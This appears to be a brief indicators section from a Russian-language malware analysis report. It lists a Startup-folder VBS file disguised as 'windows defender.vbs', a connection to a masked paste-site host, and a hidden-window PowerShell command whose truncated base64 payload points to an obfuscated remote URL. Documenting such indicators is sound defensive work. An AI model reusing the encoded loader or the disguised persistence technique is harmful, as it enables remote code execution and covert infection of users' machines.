Техническая информация
- %APPDATA%\microsoft\windows\start menu\programs\startup\windows defender.vbs
- $asxzdbjdfdfdf.replace(}}}} as /
- 'pa###bin.com':443
- DNS ASK pa###bin.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit -enc JABBAFMAWABaAGQAYgBqAGQAZgBkAGYAZABmACAAPQAgAEAAJwANAAoAaABeAF4AXgBeAHAAcwA6AH0AfQB9AH0AfQB9AH0AfQBwAGEAcwBeAF4AZQBiAGkAbgAuAGMAbwBtAH0AfQB9AH0AcQBwAGQATQByAEYAZwBWAA0ACgAnAEAAIAAg...' (со скрытым окном)